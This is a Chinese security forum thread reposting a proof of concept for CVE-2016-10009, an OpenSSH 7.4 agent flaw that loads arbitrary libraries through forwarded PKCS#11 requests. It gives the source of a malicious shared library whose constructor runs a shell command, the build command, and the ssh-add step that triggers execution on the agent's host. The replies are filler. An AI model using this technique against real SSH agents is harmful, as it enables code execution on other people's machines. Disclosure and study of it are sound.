楼主: 90_

OpenSSH 7.4代理协议任意库加载漏洞

[复制链接]
发表于 2016-12-25 14:41:44 | 显示全部楼层 |阅读模式
CVE-2016-10009

[C] 纯文本查看 复制代码
$ cat evil_lib.c
#include <stdlib.h>
__attribute__((constructor)) static void run(void) {
  // in case you're loading this via LD_PRELOAD or LD_LIBRARY_PATH,
  // prevent recursion through system()
  unsetenv("LD_PRELOAD");
  unsetenv("LD_LIBRARY_PATH");
  system("id > /tmp/test");
}
$ gcc -shared -o evil_lib.so evil_lib.c -fPIC -Wall

Connect to another machine using "ssh -A". Then, on the remote machine:

$ ssh-add -s [...]/evil_lib.so
Enter passphrase for PKCS#11: [just press enter here]
SSH_AGENT_FAILURE
Could not add card: [...]/evil_lib.so

At this point, the command "id > /tmp/test" has been executed on the machine running the ssh agent:

$ cat /tmp/test
uid=1000(user) gid=1000(user) groups=[...]
回复

使用道具 举报

发表于 2016-12-25 15:28:39 | 显示全部楼层
谢谢楼主的分享
回复 支持 反对

使用道具 举报

发表于 2016-12-25 15:34:10 | 显示全部楼层
我是来水经验的……
回复 支持 反对

使用道具 举报

发表于 2016-12-25 16:28:13 | 显示全部楼层
谢谢楼主的分享
回复 支持 反对

使用道具 举报

发表于 2016-12-25 17:00:45 | 显示全部楼层
谢谢楼主的分享
回复 支持 反对

使用道具 举报

发表于 2016-12-25 18:27:50 | 显示全部楼层
我是来水经验的……
回复 支持 反对

使用道具 举报

发表于 2016-12-25 18:44:04 | 显示全部楼层
回复 支持 反对

使用道具 举报

发表于 2016-12-25 20:20:25 | 显示全部楼层
我是来水经验的……
回复 支持 反对

使用道具 举报

发表于 2016-12-25 21:41:57 | 显示全部楼层
我是来水经验的……
回复 支持 反对

使用道具 举报

发表于 2016-12-25 22:08:43 | 显示全部楼层
我是来水经验的……
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

指导单位

江苏省公安厅

江苏省通信管理局

浙江省台州刑侦支队

DEFCON GROUP 86025

旗下站点

邮箱系统

应急响应中心

红盟安全

联系我们

官方QQ群:112851260

官方邮箱:security#ihonker.org(#改成@)

官方核心成员

Archiver|手机版|小黑屋| ( 沪ICP备2021026908号 )

GMT+8, 2025-3-7 04:01 , Processed in 0.018074 second(s), 9 queries , Gzip On, MemCache On.

Powered by ihonker.com

Copyright © 2015-现在.

  • 返回顶部